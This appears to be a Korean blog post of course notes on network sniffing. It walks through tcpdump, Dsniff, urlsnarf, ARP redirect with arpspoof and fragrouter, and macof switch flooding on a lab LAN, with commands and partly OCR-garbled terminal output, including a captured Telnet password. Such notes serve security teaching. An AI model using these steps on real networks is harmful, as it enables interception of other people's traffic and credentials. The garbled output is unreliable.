2020. 7. 7.

[Network] S03_01 스니핑


*스니핑이란??

네트워크상에서 자신을 목적으로 하지않는 패킷을 탐지하는행위
프러미스큐어스 모드(Promiscuous mode)
랜카드가 자신이 목적지가 아닌 패킷을 상위 레이어로 전송하는 모드
유닉스는 OS 레벨에서 제공한다.
고가용성 패킷 스니핑 장비는 네트워크 감시와 분석을 위해서 사용된다.

// 투명방화벽은 IP address 필요가 없다.

*프러미스큐어스 모드(Promiscuous mode)
# ifconfig [장치명] [+/-] promisc
장치의 프러미스큐어스 모드를 활성화 하거나 비활성화 한다.
# ifconfig eth0 promisc
rootOserver:- 
[root@server ifconfig etho 
Link encap:Ethernet HWaddr OO: OC: 
ethO 
i net addr: 192.168 . 11 
. 11 Bcast: 192.168. 11 . 255 Mask:255.255.255.O 
UP BROADCAST RINING MULTICAST MTU: 1500 Metric:l 
RX packets: 4665 errors:O dropped:O overruns:O frame:O 
TX packets: 1 108 errors:O dropped:O Overruns:O carr ier:O 
col I is ions:O txm_leuelen: 1000 
RX bytes:542495 (529.7 KiB) TX bytes: 197071 (192.4 KiB) 
I nterrupt 59 Base address : 0x2000 
[root@server ifconfig etho promisc 
[rooteserver ifconfig etho 
etho 
Link encap:Ethernet HWaddr OO:OC: 
inet addr: . 11 . 11 Bcast: 192.168. 11 . 255 Mask:255.255.255.0 
UP BROADCAST RI_MING PROMISC MULTICAST MTU: 1500 Metric:l 
RX packets: 4730 errors:O dropped:O frame:O 
TX packets: 1 134 errors:O dropped:O overruns:O carr ier:O 
col I is ions:O txmjeuelen: 1000 
RX bytes:549645 (536.7 KiB) TX bytes:200323 (195.6 KiB) 
I nterrupt : 59 Base address : 0x2000 
[root@server
// netstat -rn 으로 인터페이스명 확인가능

*패킷 스니핑 도구

다양한 스니핑 프로그램
와이어샤크, TCPDUMP…
GUI 인터페이스의 손쉬운 운영 가능
캡쳐를 위한 필수 라이브러리 : Pcap, WinPcap
프러미스큐어스 모드(Promiscuous mode)에서 패킷에 대한 캡처를 진행한다.
• windows의 경우 OS레벨에서 프러미스큐어스 모드를 지원하지 않는다.
필터링 기능으로 다양한 조건의 패킷을 스니핑 할 수 있다.

*Tcpdump

관리를 위한 툴로 Snort의 기반이 된다.
  • 기능
이더넷의 모든 패킷을 다양한 형식으로 캡쳐한다.
  • 시스템들 사이에 송수신 되는 패킷 헤더 혹은 패킷 전체 캡쳐
  • 특정 포트번호 (혹은, 특정 서비스)로 송수신 되는 패킷 헤더 혹은 패킷 전체를 캡쳐
  • 캡쳐된 내용을 특정 파일에 저장할 수 있다.
설치 확인
# rpm -qa | grep tcpdump
tcpdump-3.XXX

명령
# tcpdump -[옵션 값], …
옵션
  • i [장치명]
  • tcp port [포트번호]
  • host [ip]
  • xX : 패킷의 내용전체 캡쳐
  • w : 내용을 파일로 저장 (r : 읽기)
ex>
# tcpdump -xX -i eth0 tcp and host 192.168.10.1
# tcpdump -xX -i eth0 arp and dst host 192.168.10.3
# tcpdump -xX -i eth0 tcp port 23 and src host 192.168.10.3
# tcpdump -xX -i eth0 -w dump.cap

// src dst

*Tcpdump 이용한 스니핑

Windows 
192,168.11M 
192, 168.1 1.47 
Telnet 
192.168, 11.17

*Tcpdump 를 이용한 스니핑

192.168.11.47(공격자 시스템)에서 tcpdump 실행
# tcpdump -xX -i eth0 tcp port 23 and host 192.168.11.17 > 11.17
192.168.11.7(클라이언트)에서 192.168.11.17(Telnet) 서버로 접속
접속 후 캡쳐 종료

rooteserver: — 
Cent0S release 5 6 (Final) 
Kernel 2.6.18-238.e15 on an i68B 
login: root 
Password 
Last login: Fri Jul 20 fran XP 
[root@server I

아이디및 패스워드 확인 (pdf 파일 참조)

17 , 3323 - p% 「 「 , ; - r%t> , n 一 00 - 一 … PI 二 12 1 53 ) 
17 - , 331747 - p% 「 「 , ; - r%t> , n 一 00 - 一 … 81976434a19 二 976434a1 0 一 0k3 
17 - , 3315 IP 犭 , n 一 8 - 一 > 30 「 0 「 , to - 't … 8 3753 3735 … 3753 3735 一 0 一 1 
OxCK& ' 23f f fQ7 
Ox 020 ' 813 168 3551 fffd 16 : f fffd P- " 
Ox 020 … 810 4470 473a 545a 5K5 41

*Dsniff

DSniff는 스니핑을 위한 자동화 도구다. 많이 알려진 툴이며, 단순한 스니핑 도구가 아니라 스니핑을 위한 다양한 툴이 패키지처럼 만들어져 있다.
한국계 미국인 송덕준이 개발한 해킹도구.
미국 연방수사국(FBI)의 범죄 용의자 추적용인 카니보어 (carnivore), 이 카니보어에 맞서기 위해 해커들이 개발한 알트보어(altvore)와 함께 대표적인 스니핑(sniffing)
프트웨어로 꼽힌다.
Dsniff가 지원하는 프로토콜
• ftp, telnet, http, pop, nntp, imap, snmp, ldap, rlogin, rip, ospf, pptp, ms-chap, nfs, yp/nis+, socks, x11, cvs, IRC, ATM, ICQ, PostageSQL, Citrix ICA, Symantec pcAnywhere, M.S. SQL, auth, info
CentOS 5,6,7 설치 가능
  • epel에서 제공

*Dsniff tool

fi IQsnarf 
macof 
mailsnarf 
msgsnarf 
tcpkill 
tcpnicQ 
arpspoof 
dnsspoof 
"rlsnarf 
NF5 
MAC 
MAC 
POP 01 
TCP 
ICMP sob'rcQ quench TCP 
DNS 
CLF(Common Log HTTP

*Dsniff 설치

r00t@attacker_— 
[root@attacker yum install —Y dsniff 
Loaded p lug ins: fastestm irror 
Loading mirror speeds from cached hostfi le 
epel: mirrors .kernel .org 
• rpmforge: ftp.riken.ip 
Setting up Install Process 
Resolving Dependenc ies 
Runn ing transact ion check 
Package dsn iff . i3d6 0:2.4-O.23.b1 .e15 set 
to be updated 
> Finished Dependency Resolution 
Dependencies Resolved 
.e15 
Package 
Install ing: 
dsn i ff 
Transact ion 
Instal I 
lhgrade 
Arch 
i 386 
Summary 
1 Package(s) 
O Package(s) 
Vers ion 
2.4-0.23 
Repos i tory 
149 kB 
Si ze 
149 k 
Total download size: 149 k 
Down I oad ing Packages: 
dsn iff—2 .4—0.23. bl . e15. i386 . rpm 
minn ing rpm_check_debug 
m_jnning Transaction Test 
Finished Transaction Test 
Transaction Test Succeeded 
Running Transact ion 
Instal I ing 
Insta I led: 
dsn i ff 
dsn iff . i386 0:2.4-0.23 .bl .e15 
Comp I ete ! 
[rooteattacker —

Epel에서 제공되지만 Public Key 문제로 설치 되지 않을 수 있다.
• /etc/yum.repos.d/epel.repo 파일내에 설정을 변경한다.
gpgcheck=1 -> gpgcheck=0

*Dsniff를 이용한 스니핑

공격자에서 Dsniff를 실행한 후 192.168.11.7에서 192.168.11.17 서버로 telnet 접속한다.
root@atucker•.- 
[root@attacker dsniff 
dsniff: I on eth() 
02/21/19 05•.51: 10 tcp win. 14409 
st 
asdfl 234 
Is 
exit 
server .23 (telnet)
데이터는 telnet 접속이 종료하면 보인다.

urlsnarf를 이용한 httpd 스니핑
웹서비스에 접속만을 스니핑하는 전문 툴
r00t@attacker_— 
[root@attacker url snarf 
ur lsnarf: I isten ing on etho [tcp port 80 or port 8080 or port 3128] 
- - [23/Jul/2018: 16: 16:36 +0900] "GET http://www.live.com/favicon.ico HTTP/I . 
" " "Mozi Ila/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident,'4.0)" 
- - [23/Jul/2018: 16:40 +0900] "GET http://www. itclass.co.kr/ HTTP/I . 1" 
" " "Moziiia/4.O (compatible; MSIE 8.O; Windows NT 5.1 ; Trident/4.O)" 
- [23/Jul/2018: 16:40 +0900] "GET http://cafe.naver.com/an02 HTTP/I . 1' 
— "Mozilla/4.0 MSIE 8.0; Windows NT 5.1; Tr ident/4.0)"

*스위칭 환경에서 스니핑

스위칭 환경에서는 기본적으로 스니핑이 어렵다. 스위치는 2계층 장비다. 2계층 네트워크에서는 원래 허브가 쓰였다. 허브는 랜에서 들어오는 모든 신호를 복사해서 모든 포트에 다시 뿌려주는 역할을 한다. 따라서 브로드캐스트(Broadcast)패킷인지 유니캐스트(Unicast) 패킷인지에 상관없이 모든 포트에 보내주므로 스니퍼에게 스니핑을 이용한 공격은 간단하다.
스위치는 포트별로 MAC 주소 값이 기록하여 브로드캐스트 패킷을 제외한 모든 패킷은 그 패킷이 목적하는 장비에만 보낸다. 스위치는 스니핑을 막기 위해 만들어진 장비는 아니지만 결과적으로 스니퍼를 저지하는 치명적인 장비가 되었다.

*ARP 리다이렉트

ARP 리다이렉트
• ARP 리다이렉트 공격은 기본적으로 2계층에서 실시된다. 공격은 위조된 ARP reply 패킷을 보내는 방법을 사용한다. 자신의 MAC 주소가 라우터라며 브로드캐스트를 주기적으로 하는 것이다.
• ARP 스푸핑는 호스트 대 호스트 공격이며, ARP 리다이렉트는 랜의 모든 호스트 대 라우터라는 것 말고는 큰 차이점이 없다. ARP 스푸핑에서와 마찬가지로 공격자 자신만은 원래 라우터의 MAC 주소를 알고 있어야 하며 받은 모든 패킷은 다시 라우터로 릴레이해 주어야만 한다

*패킷 릴레이를 위한 Fragrouter

fragrouter는 스니핑을 보조하는 도구이다.
스니핑에 의해 패킷이 목적지에 도달하지 못하는 상황을 방지한다.


*Fragrouter 설치및 구동

Fragrouter 설치전 gcc, libnet 패키지와 libpcap 패키지가 설치 되었는지 확인한다.
fragrouter-1.6.tar.gz 소스를 다운 받아 설치한다.
1. # tar xvfz fragrouter-1.6.tar.gz
2. # cd fragrouter-1.6
3. # ./configure
4. # make
5. # make install
  • make install 하지 않아도 사용은 가능하다.
설치된 fragrouter를 구동 패킷을 포원딩한다.
# fragrouter –B1

라이브러리 재구성 후 다시 설치한다.(CentOS 6 이상)
1. 추가 패키지 설치
# yum install byacc flex bison audit
2. fragroute 하위 Libnet-0.99b 디렉토리에서
# make clean
# ./configure
# make
3. fragroute 하위 libpcap-0.4 디렉토리에서
# make clean
# ./configure
# make
4. fragroute 디렉토리에서
# make clean
# ./configure
# make
# make install

*ARP 리다이렉트 공격

느 8

1. 공격 대상 시스템의 arp 테이블을 확인한다.
:WDocuments and Sett ingsWb i rochya>arp -a 
Interface: 192.168.11 .7 ox10003 
1 92 
Internet Address 
192 16B. Il 
Phys iCal Add ess 
00-50-56-e3-5f-58 
168.11 
Type 
dynami c 
: WDocuments and Sett rochya>
• 192.168.11.1 (라우터) MAC주소는 00-50-56-e3-5f-58 이다.
2. 패킷의 포워딩을 위해 fragrouter를 실행한다.
# fragrouter –B1

3. arpspoof를 이용 arp 리다이렉트 공격을 실행한다.
# arpspoof -i eth0 -t 192.168.11.7 192.168.11.1
0 
r00t@attacker.- 
[root@attacker 
192.168 
c 29 
192.16B. 
192.168 
arpspoof 
—i etho —t 
192.168.11.7 
192.168.11 .1 
: c: 29:81 
81. 
•f 
•f 
•f 
•f 
O 
O 
: c: de: 61 : Bf 
: c: 61 : Bf 
Be: 61 0806 
Be: 61 0806 
0806 
0806 
0806 
42: 
42: 
42: 
42: 
42 : 
arp 
arp 
arp 
arp 
arp 
arp 
reply 
reply 
reply 
reply 
reply 
192.168.11 
192.168.1 
192.168.1 
.11. 
.11:1 
I is—at 
is—at 
is—at 
I is—at 
is—at 
is—at 
0 
O. 
0 
O. 
: c: 29 : 81 
•c: 29 : 81 
: c: 29 : 81 
c: 29 : 81 
29 
:f7:f 
:f7:f

4. 공격 대상 시스템의 arp 테이블을 확인한다.
:WDocuments and Sett ingsWb i rochya>arp -a 
Interface: 192.168.11 .7 ox10003 
1 92 
Internet Address 
192 16B. Il 
Phys iCal Add ess 
OO-Oc-29-Bl-f7-Of 
168.11 
Type 
dynami c 
: WDocuments and Sett rochya>
• 192.168.11.1 (라우터) MAC주소는 00:50:56:E3:5F:58 에서 00:0C:29:81:F7:0F 으로 바뀌었다.
• ARP 리다이렉트중 공격대상의 인터넷이 정상적으로 작동하는지 확인한다.
• Tcpdump를 이용 공격 대상의 패킷을 스니핑한다.
• arpspoof 프로그램을 종료하면 원래 주소로 돌아온다.
게이트 웨이로 공유기를 사용하는 경우에 일부 제품에서는 지속적으로 ARP 패킷을 발생시키는 기능이 있어서 공격이 정상적으로 이뤄지지 않는 경우도 있다.

*스위치 재밍 공격 (Switch Jamming)

스위치 재밍(Switch Jamming)은 스위치를 직접 공격한다.
스위치 재밍은 MAC 테이블을 위한 캐시 공간에 버퍼 오버플로우 공격을 실시하는 것이라고 생각해도 무리가 없다. MAC테이블이 저장 용량을 넘으면 스위치는 원래의 기능을 잃게되어 더미 허브와 똑같이 작동한다

[root@attack macof 
7b 0.0.0.0.33821 > 0.0.0.0.21261: S 1023283136: 1023283136(0) win 512 
0.0.0.0.18581 > O.O.O.O. S 1881502615: 1881502615(0) win 512 
O.O.O.O.52190 > o.o.o.o.1218t: S 1457183301: 1457183301(0) win 512 
51:45:5b:21:db:e1 le:df:el 
46: 0.0.O.O.4766 > O.O.O.O. 19353: S 764117625: 764117625(0) win 512 
4f:ca: f9 0.O.O.O.8622 > O.O.O.O.56060: S 1262265249: 1262265249(0) win 512 
7f.ec:fc: 
O.O.O.O.2734 > O.O.O.O.61769: S 562794574: 562794574(0) win 512 
24: 0.0.O.O.600 > 0.0.o.o.6d03: S 2064162717: 2064162717(0) win 512 
S 1245997480: 1245997480(0) win 512 
11:49: 0.O.O.O.48283 > O.O.O.O.13211• 
49: 0.O.O.O.8843 > O.O.O.O.49270: S 1401275442: 1401275442(0) win 512 
0.0.o.o.539d6 > 0.0.0.0.25068: S 1625080672: 1625080672(0) win 512 
le O.O.O.O.46015 > o.o.o.o.28471: S win 512 
If: 4: 29 
O.O.O.O. 16931 > O.O.O.O. 18192: S 1554585630: 1554585630(0) win 512 
fc:bf: 0.0.0.0.9939 > 0.0.0.0.18373: S 441727803: win 512 
58: 87: e5:61 O.O.O.O.53903 > O.O.O.O.30823: S win 512 
It: co: e2:61 O.O.O.O.37611 > O.O.O.O.923: S 625764419: 625764419(0) win 512 
73: do: 0.0.0.0.25895 > 0.0.0.0.27905: S win 512



댓글 없음:

댓글 쓰기